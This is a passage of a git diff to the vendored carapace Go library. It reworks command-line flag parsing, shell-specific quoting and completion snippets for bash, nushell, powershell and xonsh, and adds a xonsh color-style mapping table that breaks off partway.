func (f FlagSet) IsPosix() bool {
if method := reflect.ValueOf(f.FlagSet).MethodByName("IsPosix"); method.IsValid() {
if values := method.Call([]reflect.Value{}); len(values) == 1 && values[0].Kind() == reflect.Bool {
@@ -22,7 +29,7 @@ func (f FlagSet) IsPosix() bool {
}
func (f FlagSet) IsShorthandSeries(arg string) bool {
- re := regexp.MustCompile("^-(?P[^-=]+)")
+ re := regexp.MustCompile("^-(?P[^-].*)")
return re.MatchString(arg) && f.IsPosix()
}
@@ -41,19 +48,106 @@ func (f FlagSet) IsMutuallyExclusive(flag *pflag.Flag) bool {
func (f *FlagSet) VisitAll(fn func(*Flag)) {
f.FlagSet.VisitAll(func(flag *pflag.Flag) {
- fn(&Flag{flag})
+ fn(&Flag{Flag: flag, Args: []string{}})
})
+
}
func (fs FlagSet) LookupArg(arg string) (result *Flag) {
isPosix := fs.IsPosix()
- fs.VisitAll(func(f *Flag) {
+
+ switch {
+ case strings.HasPrefix(arg, "--"):
+ return fs.lookupPosixLonghandArg(arg)
+ case isPosix:
+ return fs.lookupPosixShorthandArg(arg)
+ case !isPosix:
+ return fs.lookupNonPosixShorthandArg(arg)
+ }
+ return
+}
+
+func (fs FlagSet) ShorthandLookup(name string) *Flag {
+ if f := fs.FlagSet.ShorthandLookup(name); f != nil {
+ return &Flag{
+ Flag: f,
+ Args: []string{},
+ }
+ }
+ return nil
+}
+
+func (fs FlagSet) lookupPosixLonghandArg(arg string) (flag *Flag) {
+ if !strings.HasPrefix(arg, "--") {
+ return nil
+ }
+
+ fs.VisitAll(func(f *Flag) { // TODO needs to be sorted to try longest matching first
+ if flag != nil || f.Mode() != Default {
+ return
+ }
+
+ splitted := strings.SplitAfterN(arg, string(f.OptargDelimiter()), 2)
+ if strings.TrimSuffix(splitted[0], string(f.OptargDelimiter())) == "--"+f.Name {
+ flag = f
+ flag.Prefix = splitted[0]
+ if len(splitted) > 1 {
+ flag.Args = splitted[1:]
+ }
+ }
+ })
+ return
+}
+
+func (fs FlagSet) lookupPosixShorthandArg(arg string) *Flag {
+ if !strings.HasPrefix(arg, "-") || !fs.IsPosix() || len(arg) < 2 {
+ return nil
+ }
+
+ for index, r := range arg[1:] {
+ index += 1
+ flag := fs.ShorthandLookup(string(r))
+
+ switch {
+ case flag == nil:
+ return flag
+ case len(arg) == index+1:
+ flag.Prefix = arg
+ return flag
+ case arg[index+1] == byte(flag.OptargDelimiter()) && len(arg) > index+2:
+ flag.Prefix = arg[:index+2]
+ flag.Args = []string{arg[index+2:]}
+ return flag
+ case arg[index+1] == byte(flag.OptargDelimiter()):
+ flag.Prefix = arg[:index+2]
+ flag.Args = []string{""}
+ return flag
+ case !flag.IsOptarg() && len(arg) > index+1:
+ flag.Prefix = arg[:index+1]
+ flag.Args = []string{arg[index+1:]}
+ return flag
+ }
+ }
+ return nil
+}
+
+func (fs FlagSet) lookupNonPosixShorthandArg(arg string) (result *Flag) { // TODO pretty much duplicates longhand lookup
+ if !strings.HasPrefix(arg, "-") {
+ return nil
+ }
+
+ fs.VisitAll(func(f *Flag) { // TODO needs to be sorted to try longest matching first
if result != nil {
return
}
- if f.Matches(arg, isPosix) {
+ splitted := strings.SplitAfterN(arg, string(f.OptargDelimiter()), 2)
+ if strings.TrimSuffix(splitted[0], string(f.OptargDelimiter())) == "-"+f.Shorthand {
result = f
+ result.Prefix = splitted[0]
+ if len(splitted) > 1 {
+ result.Args = splitted[1:]
+ }
}
})
return
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/bash/action.go b/vendor/github.com/rsteube/carapace/internal/shell/bash/action.go
index 9607a6056c..0e3529a4c0 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/bash/action.go
+++ b/vendor/github.com/rsteube/carapace/internal/shell/bash/action.go
@@ -14,28 +14,15 @@ var sanitizer = strings.NewReplacer(
"\t", ``,
)
-var quoter = strings.NewReplacer(
- // seems readline provides quotation only for the filename completion (which would add suffixes) so do that here
- `&`, `\&`,
- `<`, `\<`,
- `>`, `\>`,
- "`", "\\`",
- `'`, `\'`,
+var valueReplacer = strings.NewReplacer(
+ `\`, `\\`,
`"`, `\"`,
- `{`, `\{`,
- `}`, `\}`,
`$`, `\$`,
- `#`, `\#`,
- `|`, `\|`,
- `?`, `\?`,
- `(`, `\(`,
- `)`, `\)`,
- `;`, `\;`,
- ` `, `\ `,
- `[`, `\[`,
- `]`, `\]`,
- `*`, `\*`,
- `\`, `\\`,
+ "`", "\\`",
+)
+
+var displayReplacer = strings.NewReplacer(
+ `${`, `\\\${`,
)
func commonPrefix(a, b string) string {
@@ -70,19 +57,11 @@ func commonValuePrefix(values ...common.RawValue) (prefix string) {
// ActionRawValues formats values for bash.
func ActionRawValues(currentWord string, meta common.Meta, values common.RawValues) string {
- lastSegment := currentWord // last segment of currentWord split by COMP_WORDBREAKS
-
- for valueIndex, value := range values {
- // TODO optimize
- if wordbreaks, ok := os.LookupEnv("COMP_WORDBREAKS"); ok {
- wordbreaks = strings.Replace(wordbreaks, " ", "", -1)
- if index := strings.LastIndexAny(currentWord, wordbreaks); index != -1 {
- values[valueIndex].Value = strings.TrimPrefix(value.Value, currentWord[:index+1])
- lastSegment = currentWord[index+1:]
- }
- }
+ for index, value := range values {
+ values[index].Value = strings.TrimPrefix(value.Value, wordbreakPrefix)
}
+ lastSegment := strings.TrimPrefix(currentWord, wordbreakPrefix) // last segment of currentWord split by COMP_WORDBREAKS
if len(values) > 1 && commonDisplayPrefix(values...) != "" {
// When all display values have the same prefix bash will insert is as partial completion (which skips prefixes/formatting).
if valuePrefix := commonValuePrefix(values...); lastSegment != valuePrefix {
@@ -95,15 +74,32 @@ func ActionRawValues(currentWord string, meta common.Meta, values common.RawValu
meta.Nospace.Add('*')
}
+ nospace := true
vals := make([]string, len(values))
for index, val := range values {
if len(values) == 1 {
- vals[index] = quoter.Replace(sanitizer.Replace(val.Value))
if !meta.Nospace.Matches(val.Value) {
- vals[index] = val.Value + " "
+ nospace = false
}
+ vals[index] = sanitizer.Replace(val.Value)
+ if requiresQuoting(vals[index]) {
+ vals[index] = valueReplacer.Replace(vals[index])
+ switch {
+ case strings.HasPrefix(vals[index], "~"): // assume homedir expansion
+ if splitted := strings.SplitAfterN(vals[index], "/", 2); len(splitted) == 2 {
+ vals[index] = fmt.Sprintf(`%v"%v"`, splitted[0], splitted[1])
+ } else {
+ // TODO homedir expansion won't work this way, but shouldn't reach this point anyway.
+ vals[index] = fmt.Sprintf(`~"%v"`, strings.TrimPrefix(vals[index], "~"))
+ }
+ default:
+ vals[index] = fmt.Sprintf(`"%v"`, vals[index])
+ }
+ }
} else {
+ val.Display = displayReplacer.Replace(val.Display)
+ val.Description = displayReplacer.Replace(val.Description)
if val.Description != "" {
vals[index] = fmt.Sprintf("%v (%v)", val.Display, sanitizer.Replace(val.TrimmedDescription()))
} else {
@@ -111,5 +107,13 @@ func ActionRawValues(currentWord string, meta common.Meta, values common.RawValu
}
}
}
- return strings.Join(vals, "\n")
+ return fmt.Sprintf("%v\001%v", nospace, strings.Join(vals, "\n"))
+}
+
+func requiresQuoting(s string) bool {
+ chars := " \t\r\n`" + `[]{}()<>;|$&:*#`
+ chars += os.Getenv("COMP_WORDBREAKS")
+ chars += `\`
+ return strings.ContainsAny(s, chars)
+
}
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/bash/patch.go b/vendor/github.com/rsteube/carapace/internal/shell/bash/patch.go
new file mode 100644
index 0000000000..c7511e20b4
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace/internal/shell/bash/patch.go
@@ -0,0 +1,89 @@
+package bash
+
+import (
+ "os"
+ "strconv"
+
+ shlex "github.com/rsteube/carapace-shlex"
+)
+
+// RedirectError current position is a redirect like `echo test >[TAB]`.
+type RedirectError struct{}
+
+func (r RedirectError) Error() string {
+ return "current position is a redirect like `echo test >[TAB]`"
+}
+
+// TODO yuck! - set by Patch which also unsets bash comp environment variables so that they don't affect further completion
+// introduces state and hides what is happening but works for now
+var wordbreakPrefix string = ""
+
+func CompLine() (string, bool) {
+ line, ok := os.LookupEnv("COMP_LINE")
+ if !ok {
+ return "", false
+ }
+
+ point, ok := os.LookupEnv("COMP_POINT")
+ if !ok {
+ return "", false
+ }
+
+ pointI, err := strconv.Atoi(point)
+ if err != nil || len(line) < pointI {
+ return "", false
+ }
+
+ return line[:pointI], true
+}
+
+// Patch patches args if `COMP_LINE` environment variable is set.
+//
+// Bash passes redirects to the completion function so these need to be filtered out.
+//
+// `example action >/tmp/stdout.txt --values 2>/tmp/stderr.txt fi[TAB]`
+// ["example", "action", ">", "/tmp/stdout.txt", "--values", "2", ">", "/tmp/stderr.txt", "fi"]
+// ["example", "action", "--values", "fi"]
+func Patch(args []string) ([]string, error) { // TODO document and fix wordbreak splitting (e.g. `:`)
+ compline, ok := CompLine()
+ if !ok {
+ return args, nil
+ }
+
+ if compline == "" {
+ return args, nil
+ }
+
+ tokens, err := shlex.Split(compline)
+ if err != nil {
+ return nil, err
+ }
+
+ if len(tokens) > 1 {
+ if previous := tokens[len(tokens)-2]; previous.WordbreakType.IsRedirect() {
+ return append(args[:1], tokens[len(tokens)-1].Value), RedirectError{}
+ }
+ }
+ args = append(args[:1], tokens.CurrentPipeline().FilterRedirects().Words().Strings()...)
+
+ // TODO find a better solution to pass the wordbreakprefix to bash/action.go
+ wordbreakPrefix = tokens.CurrentPipeline().WordbreakPrefix()
+ unsetBashCompEnv()
+
+ return args, nil
+}
+
+func unsetBashCompEnv() {
+ for _, key := range []string{
+ // https://www.gnu.org/software/bash/manual/html_node/Bash-Variables.html
+ "COMP_CWORD",
+ "COMP_LINE",
+ "COMP_POINT",
+ "COMP_TYPE",
+ "COMP_KEY",
+ "COMP_WORDBREAKS",
+ "COMP_WORDS",
+ } {
+ os.Unsetenv(key)
+ }
+}
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/bash/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/bash/snippet.go
index ca30645a9a..1663ddfef3 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/bash/snippet.go
+++ b/vendor/github.com/rsteube/carapace/internal/shell/bash/snippet.go
@@ -13,17 +13,30 @@ func Snippet(cmd *cobra.Command) string {
result := fmt.Sprintf(`#!/bin/bash
_%v_completion() {
export COMP_WORDBREAKS
+ export COMP_LINE
+ export COMP_POINT
- local compline="${COMP_LINE:0:${COMP_POINT}}"
+ local nospace data compline="${COMP_LINE:0:${COMP_POINT}}"
+
+ if echo ${compline}"''" | xargs echo 2>/dev/null > /dev/null; then
+ data=$(echo ${compline}"''" | xargs %v _carapace bash)
+ elif echo ${compline} | sed "s/\$/'/" | xargs echo 2>/dev/null > /dev/null; then
+ data=$(echo ${compline} | sed "s/\$/'/" | xargs %v _carapace bash)
+ else
+ data=$(echo ${compline} | sed 's/$/"/' | xargs %v _carapace bash)
+ fi
+
+ IFS=$'\001' read -r -d '' nospace data <<<"${data}"
+ mapfile -t COMPREPLY < <(echo "${data}")
+ unset COMPREPLY[-1]
+
+ [ "${nospace}" = true ] && compopt -o nospace
local IFS=$'\n'
- mapfile -t COMPREPLY < <(echo "$compline" | sed -e "s/ \$/ ''/" -e 's/"/\"/g' | xargs %v _carapace bash)
[[ "${COMPREPLY[*]}" == "" ]] && COMPREPLY=() # fix for mapfile creating a non-empty array from empty command output
-
- compopt -o nospace
}
-complete -F _%v_completion %v
-`, cmd.Name(), uid.Executable(), cmd.Name(), cmd.Name())
+complete -o noquote -F _%v_completion %v
+`, cmd.Name(), uid.Executable(), uid.Executable(), uid.Executable(), cmd.Name(), cmd.Name())
return result
}
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/elvish/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/elvish/snippet.go
index 9c5a8b6d28..a06f3380a4 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/elvish/snippet.go
+++ b/vendor/github.com/rsteube/carapace/internal/shell/elvish/snippet.go
@@ -18,7 +18,7 @@ func Snippet(cmd *cobra.Command) string {
if (not-eq $completion[Usage] "") {
edit:notify (styled "usage: " $completion[DescriptionStyle])$completion[Usage]
}
- put $completion[Candidates] | all (one) | each {|c|
+ put $completion[Candidates] | all (one) | peach {|c|
if (eq $c[Description] "") {
edit:complex-candidate $c[Value] &display=(styled $c[Display] $c[Style]) &code-suffix=$c[CodeSuffix]
} else {
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/fish/action.go b/vendor/github.com/rsteube/carapace/internal/shell/fish/action.go
index 7dbae1b091..d5f68d8b5b 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/fish/action.go
+++ b/vendor/github.com/rsteube/carapace/internal/shell/fish/action.go
@@ -2,9 +2,8 @@ package fish
import (
"fmt"
- "strings"
-
"github.com/rsteube/carapace/internal/common"
+ "strings"
)
var sanitizer = strings.NewReplacer(
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/library/action.go b/vendor/github.com/rsteube/carapace/internal/shell/library/action.go
deleted file mode 100644
index 3e6359df20..0000000000
--- a/vendor/github.com/rsteube/carapace/internal/shell/library/action.go
+++ /dev/null
@@ -1,42 +0,0 @@
-package library
-
-import (
- "strings"
-
- "github.com/rsteube/carapace/internal/common"
- "github.com/rsteube/carapace/pkg/style"
-)
-
-var sanitizer = strings.NewReplacer(
- "\n", ``,
- "\r", ``,
- "\t", ``,
-)
-
-var quoter = strings.NewReplacer(
- // `\`, `\\`,
- ` `, `\ `,
-)
-
-// ActionRawValues formats values for carapace if used as library.
-func ActionRawValues(_ string, meta common.Meta, values common.RawValues) (common.RawValues, common.Meta) {
- sorted := make(common.RawValues, 0)
-
- values.EachTag(func(_ string, values common.RawValues) {
- for index, val := range values {
- val.Value = sanitizer.Replace(val.Value)
- val.Value = quoter.Replace(val.Value)
- if !meta.Nospace.Matches(val.Value) {
- val.Value += " "
- }
- if val.Style != "" {
- val.Style = style.SGR(val.Style)
- }
- values[index] = val
- }
-
- sorted = append(sorted, values...)
- })
-
- return sorted, meta
-}
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/nushell/action.go b/vendor/github.com/rsteube/carapace/internal/shell/nushell/action.go
index 361393bddf..06a59db19b 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/nushell/action.go
+++ b/vendor/github.com/rsteube/carapace/internal/shell/nushell/action.go
@@ -18,6 +18,11 @@ var sanitizer = strings.NewReplacer(
"\r", ``,
)
+var escaper = strings.NewReplacer(
+ `\`, `\\`,
+ `"`, `\"`,
+)
+
func sanitize(values []common.RawValue) []common.RawValue {
for index, v := range values {
(&values[index]).Value = sanitizer.Replace(v.Value)
@@ -31,11 +36,17 @@ func sanitize(values []common.RawValue) []common.RawValue {
func ActionRawValues(currentWord string, meta common.Meta, values common.RawValues) string {
vals := make([]record, len(values))
for index, val := range sanitize(values) {
- if strings.ContainsAny(val.Value, ` {}()[]<>$&"|;#\`+"`") {
- val.Value = fmt.Sprintf("'%v'", val.Value)
+ nospace := meta.Nospace.Matches(val.Value)
+ if strings.ContainsAny(val.Value, ` {}()[]<>$&"'|;#\`+"`") {
+ switch {
+ case strings.HasPrefix(val.Value, "~"):
+ val.Value = fmt.Sprintf(`~"%v"`, escaper.Replace(val.Value[1:]))
+ default:
+ val.Value = fmt.Sprintf(`"%v"`, escaper.Replace(val.Value))
+ }
}
- if !meta.Nospace.Matches(val.Value) {
+ if !nospace {
val.Value = val.Value + " "
}
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/nushell/patch.go b/vendor/github.com/rsteube/carapace/internal/shell/nushell/patch.go
new file mode 100644
index 0000000000..65734c231f
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace/internal/shell/nushell/patch.go
@@ -0,0 +1,30 @@
+package nushell
+
+import (
+ "strings"
+
+ shlex "github.com/rsteube/carapace-shlex"
+)
+
+// Patch uses the lexer to parse and patch given arguments which
+// are currently passed unprocessed to the completion function.
+//
+// see https://www.nushell.sh/book/working_with_strings.html
+func Patch(args []string) []string {
+ // TODO
+ for index, arg := range args {
+ if len(arg) == 0 {
+ continue
+ }
+
+ switch arg[0] {
+ case '"', "'"[0]:
+ if tokens, err := shlex.Split(arg); err == nil {
+ args[index] = tokens[0].Value
+ }
+ case '`':
+ args[index] = strings.Trim(arg, "`")
+ }
+ }
+ return args
+}
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/nushell/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/nushell/snippet.go
index 72357e41bb..a37f69815b 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/nushell/snippet.go
+++ b/vendor/github.com/rsteube/carapace/internal/shell/nushell/snippet.go
@@ -10,19 +10,7 @@ import (
// Snippet creates the nushell completion script.
func Snippet(cmd *cobra.Command) string {
- return fmt.Sprintf(`let external_completer = {|spans|
- {
- $spans.0: { } # default
- %v: { %v _carapace nushell $spans | from json }
- } | get $spans.0 | each {|it| do $it}
-}
-
-let-env config = {
- completions: {
- external: {
- enable: true
- completer: $external_completer
- }
- }
+ return fmt.Sprintf(`let %v_completer = {|spans|
+ %v _carapace nushell $spans | from json
}`, cmd.Name(), uid.Executable())
}
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/powershell/action.go b/vendor/github.com/rsteube/carapace/internal/shell/powershell/action.go
index f1ddb85e46..ba2353b61b 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/powershell/action.go
+++ b/vendor/github.com/rsteube/carapace/internal/shell/powershell/action.go
@@ -45,12 +45,13 @@ func ActionRawValues(currentWord string, meta common.Meta, values common.RawValu
for _, val := range values {
if val.Value != "" { // must not be empty - any empty `''` parameter in CompletionResult causes an error
val.Value = sanitizer.Replace(val.Value)
+ nospace := meta.Nospace.Matches(val.Value)
if strings.ContainsAny(val.Value, ` {}()[]*$?\"|<>&(),;#`+"`") {
val.Value = fmt.Sprintf("'%v'", val.Value)
}
- if !meta.Nospace.Matches(val.Value) {
+ if !nospace {
val.Value = val.Value + " "
}
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/shell.go b/vendor/github.com/rsteube/carapace/internal/shell/shell.go
index fff6ea3b45..2c8b717dc1 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/shell.go
+++ b/vendor/github.com/rsteube/carapace/internal/shell/shell.go
@@ -16,7 +16,6 @@ import (
"github.com/rsteube/carapace/internal/shell/nushell"
"github.com/rsteube/carapace/internal/shell/oil"
"github.com/rsteube/carapace/internal/shell/powershell"
- "github.com/rsteube/carapace/internal/shell/spec"
"github.com/rsteube/carapace/internal/shell/tcsh"
"github.com/rsteube/carapace/internal/shell/xonsh"
"github.com/rsteube/carapace/internal/shell/zsh"
@@ -40,7 +39,6 @@ func Snippet(cmd *cobra.Command, shell string) (string, error) {
"nushell": nushell.Snippet,
"oil": oil.Snippet,
"powershell": powershell.Snippet,
- "spec": spec.Snippet,
"tcsh": tcsh.Snippet,
"xonsh": xonsh.Snippet,
"zsh": zsh.Snippet,
@@ -86,6 +84,11 @@ func Value(shell string, value string, meta common.Meta, values common.RawValues
default:
filtered = meta.Messages.Integrate(filtered, value)
}
+
+ if !meta.Messages.IsEmpty() && shell != "export" {
+ meta.Nospace.Add('*')
+ }
+
sort.Sort(common.ByDisplay(filtered))
return f(value, meta, filtered)
}
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/tcsh/action.go b/vendor/github.com/rsteube/carapace/internal/shell/tcsh/action.go
index 02a986c129..292d176806 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/tcsh/action.go
+++ b/vendor/github.com/rsteube/carapace/internal/shell/tcsh/action.go
@@ -87,6 +87,7 @@ func ActionRawValues(currentWord string, meta common.Meta, values common.RawValu
if valuePrefix := commonValuePrefix(values...); lastSegment != valuePrefix {
// replace values with common value prefix (`\001` is removed in snippet and compopt nospace will be set)
values = common.RawValuesFrom(commonValuePrefix(values...)) // TODO nospaceIndicator
+ //values = common.RawValuesFrom(commonValuePrefix(values...) + nospaceIndicator)
} else {
// prevent insertion of partial display values by prefixing one with space
values[0].Display = " " + values[0].Display
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/action.go b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/action.go
index 81e0ad747b..54c34640b6 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/action.go
+++ b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/action.go
@@ -18,6 +18,7 @@ type richCompletion struct {
Value string
Display string
Description string
+ Style string
}
// ActionRawValues formats values for xonsh.
@@ -38,7 +39,12 @@ func ActionRawValues(currentWord string, meta common.Meta, values common.RawValu
val.Value = val.Value + " "
}
- vals[index] = richCompletion{Value: val.Value, Display: val.Display, Description: val.TrimmedDescription()}
+ vals[index] = richCompletion{
+ Value: val.Value,
+ Display: val.Display,
+ Description: val.TrimmedDescription(),
+ Style: convertStyle("bg-default fg-default " + val.Style),
+ }
}
m, _ := json.Marshal(vals)
return string(m)
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/snippet.go
index caa98754b8..f9a9254ad6 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/snippet.go
+++ b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/snippet.go
@@ -28,7 +28,7 @@ def _%v_completer(context):
output, _ = Popen(['%v', '_carapace', 'xonsh', *[a.value for a in context.args], fix_prefix(context.prefix)], stdout=PIPE, stderr=PIPE).communicate()
try:
- result = {RichCompletion(c["Value"], display=c["Display"], description=c["Description"], prefix_len=len(context.raw_prefix), append_closing_quote=False) for c in loads(output)}
+ result = {RichCompletion(c["Value"], display=c["Display"], description=c["Description"], prefix_len=len(context.raw_prefix), append_closing_quote=False, style=c["Style"]) for c in loads(output)}
except:
result = {}
if len(result) == 0:
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/style.go b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/style.go
new file mode 100644
index 0000000000..000f853e24
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/style.go
@@ -0,0 +1,332 @@
+package xonsh
+
+import (
+ "strings"
+
+ "github.com/rsteube/carapace/pkg/style"
+)
+
+func convertStyle(s string) string {
+ xonshStyle := make([]string, 0)
+
+ style := style.Parse("fg-default bg-default " + s)
+ switch style.Background {
+ case nil:
+ xonshStyle = append(xonshStyle, "bg:default")
+ default:
+ xonshStyle = append(xonshStyle, "bg:"+convertColor(style.Background.String()))
+ }
+
+ switch style.Foreground {
+ case nil:
+ xonshStyle = append(xonshStyle, "fg:default")
+ default:
+ xonshStyle = append(xonshStyle, "fg:"+convertColor(style.Foreground.String()))
+ }
+
+ if style.Bold {
+ xonshStyle = append(xonshStyle, "bold")
+ }
+ if style.Dim { // TODO dim not supported
+ if style.Foreground == nil || style.Foreground.String() == "white" {
+ xonshStyle[1] = "fg:#808080" // TODO workaround
+ }
+ }
+ if style.Italic {
+ xonshStyle = append(xonshStyle, "italic")
+ }
+ if style.Underlined {
+ xonshStyle = append(xonshStyle, "underline")
+ }
+ if style.Blink {
+ xonshStyle = append(xonshStyle, "blink")
+ }
+ if style.Inverse {
+ xonshStyle = append(xonshStyle, "reverse")
+ }
+
+ return strings.Join(xonshStyle, " ")
+}
+
+func convertColor(color string) string {
+ if strings.HasPrefix(color, "#") {
+ return color // keep hex
+ }
+
+ return map[string]string{
+ "black": "ansiblack",
+ "red": "ansired",
+ "green": "ansigreen",
+ "yellow": "ansiyellow",
+ "blue": "ansiblue",
+ "magenta": "ansimagenta",
+ "cyan": "ansicyan",
+ "white": "ansigray",
+
+ "bright-black": "ansibrightblack",
+ "bright-red": "ansibrightred",
+ "bright-green": "ansibrightgreen",
+ "bright-yellow": "ansibrightyellow",
+ "bright-blue": "ansibrightblue",
+ "bright-magenta": "ansibrightmagenta",
+ "bright-cyan": "ansibrightcyan",
+ "bright-white": "ansiwhite",
+
+ "color0": "#000000",
+ "color1": "#800000",
+ "color2": "#008000",
+ "color3": "#808000",
+ "color4": "#000080",
+ "color5": "#800080",
+ "color6": "#008080",
+ "color7": "#c0c0c0",
+ "color8": "#808080",
+ "color9": "#ff0000",
+ "color10": "#00ff00",
+ "color11": "#ffff00",
+ "color12": "#0000ff",
+ "color13": "#ff00ff",
+ "color14": "#00ffff",
+ "color15": "#ffffff",
+ "color16": "#000000",
+ "color17": "#00005f",
+ "color18": "#000087",
+ "color19": "#0000af",
+ "color20": "#0000d7",
+ "color21": "#0000ff",
+ "color22": "#005f00",
+ "color23": "#005f5f",
+ "color24": "#005f87",
+ "color25": "#005faf",
+ "color26": "#005fd7",
+ "color27": "#005fff",
+ "color28": "#008700",
+ "color29": "#00875f",
+ "color30": "#008787",
+ "color31": "#0087af",
+ "color32": "#0087d7",
+ "color33": "#0087ff",
+ "color34": "#00af00",
+ "color35": "#00af5f",
+ "color36": "#00af87",
+ "color37": "#00afaf",
+ "color38": "#00afd7",
+ "color39": "#00afff",
+ "color40": "#00d700",
+ "color41": "#00d75f",
+ "color42": "#00d787",
+ "color43": "#00d7af",
+ "color44": "#00d7d7",
+ "color45": "#00d7ff",
+ "color46": "#00ff00",
+ "color47": "#00ff5f",
+ "color48": "#00ff87",
+ "color49": "#00ffaf",
+ "color50": "#00ffd7",
+ "color51": "#00ffff",
+ "color52": "#5f0000",
+ "color53": "#5f005f",
+ "color54": "#5f0087",
+ "color55": "#5f00af",
+ "color56": "#5f00d7",
+ "color57": "#5f00ff",
+ "color58": "#5f5f00",
+ "color59": "#5f5f5f",
+ "color60": "#5f5f87",
+ "color61": "#5f5faf",
+ "color62": "#5f5fd7",
+ "color63": "#5f5fff",
+ "color64": "#5f8700",
+ "color65": "#5f875f",
+ "color66": "#5f8787",
+ "color67": "#5f87af",
+ "color68": "#5f87d7",
+ "color69": "#5f87ff",
+ "color70": "#5faf00",
+ "color71": "#5faf5f",
+ "color72": "#5faf87",
+ "color73": "#5fafaf",
+ "color74": "#5fafd7",
+ "color75": "#5fafff",
+ "color76": "#5fd700",
+ "color77": "#5fd75f",
+ "color78": "#5fd787",
+ "color79": "#5fd7af",
+ "color80": "#5fd7d7",
+ "color81": "#5fd7ff",
+ "color82": "#5fff00",
+ "color83": "#5fff5f",
+ "color84": "#5fff87",
+ "color85": "#5fffaf",
+ "color86": "#5fffd7",
+ "color87": "#5fffff",
+ "color88": "#870000",
+ "color89": "#87005f",
+ "color90": "#870087",
+ "color91": "#8700af",
+ "color92": "#8700d7",
+ "color93": "#8700ff",
+ "color94": "#875f00",
+ "color95": "#875f5f",
+ "color96": "#875f87",
+ "color97": "#875faf",
+ "color98": "#875fd7",
+ "color99": "#875fff",
+ "color100": "#878700",
+ "color101": "#87875f",
+ "color102": "#878787",
+ "color103": "#8787af",
+ "color104": "#8787d7",
+ "color105": "#8787ff",
+ "color106": "#87af00",
+ "color107": "#87af5f",
+ "color108": "#87af87",
+ "color109": "#87afaf",
+ "color110": "#87afd7",
+ "color111": "#87afff",
+ "color112": "#87d700",
+ "color113": "#87d75f",
+ "color114": "#87d787",
+ "color115": "#87d7af",
+ "color116": "#87d7d7",
+ "color117": "#87d7ff",
+ "color118": "#87ff00",
+ "color119": "#87ff5f",
+ "color120": "#87ff87",
+ "color121": "#87ffaf",
+ "color122": "#87ffd7",
+ "color123": "#87ffff",
+ "color124": "#af0000",
+ "color125": "#af005f",
+ "color126": "#af0087",
+ "color127": "#af00af",
+ "color128": "#af00d7",
+ "color129": "#af00ff",
+ "color130": "#af5f00",
+ "color131": "#af5f5f",
+ "color132": "#af5f87",
+ "color133": "#af5faf",
+ "color134": "#af5fd7",
+ "color135": "#af5fff",
+ "color136": "#af8700",
+ "color137": "#af875f",
+ "color138": "#af8787",
+ "color139": "#af87af",
+ "color140": "#af87d7",
+ "color141": "#af87ff",
+ "color142": "#afaf00",
+ "color143": "#afaf5f",
+ "color144": "#afaf87",
+ "color145": "#afafaf",
+ "color146": "#afafd7",
+ "color147": "#afafff",
+ "color148": "#afd700",
+ "color149": "#afd75f",
+ "color150": "#afd787",
+ "color151": "#afd7af",
+ "color152": "#afd7d7",
+ "color153": "#afd7ff",
+ "color154": "#afff00",
+ "color155": "#afff5f",
+ "color156": "#afff87",
+ "color157": "#afffaf",
+ "color158": "#afffd7",
+ "color159": "#afffff",
+ "color160": "#d70000",
+ "color161": "#d7005f",
+ "color162": "#d70087",
+ "color163": "#d700af",
+ "color164": "#d700d7",
+ "color165": "#d700ff",
+ "color166": "#d75f00",
+ "color167": "#d75f5f",
+ "color168": "#d75f87",
+ "color169": "#d75faf",
+ "color170": "#d75fd7",
+ "color171": "#d75fff",
+ "color172": "#d78700",
+ "color173": "#d7875f",
+ "color174": "#d78787",
+ "color175": "#d787af",
+ "color176": "#d787d7",
+ "color177": "#d787ff",
+ "color178": "#d7af00",
+ "color179": "#d7af5f",
+ "color180": "#d7af87",
+ "color181": "#d7afaf",
+ "color182": "#d7afd7",
+ "color183": "#d7afff",
+ "color184": "#d7d700",
+ "color185": "#d7d75f",
+ "color186": "#d7d787",
+ "color187": "#d7d7af",
+ "color188": "#d7d7d7",
+ "color189": "#d7d7ff",
+ "color190": "#d7ff00",
+ "color191": "#d7ff5f",
+ "color192": "#d7ff87",
+ "color193": "#d7ffaf",
+ "color194": "#d7ffd7",
+ "color195": "#d7ffff",
+ "color196": "#ff0000",
+ "color197": "#ff005f",
+ "color198": "#ff0087",
+ "color199": "#ff00af",
+ "color200": "#ff00d7",
+ "color201": "#ff00ff",
+ "color202": "#ff5f00",
+ "color203": "#ff5f5f",
+ "color204": "#ff5f87",
+ "color205": "#ff5faf",
+ "color206": "#ff5fd7",
+ "color207": "#ff5fff",
+ "color208": "#ff8700",
+ "color209": "#ff875f",
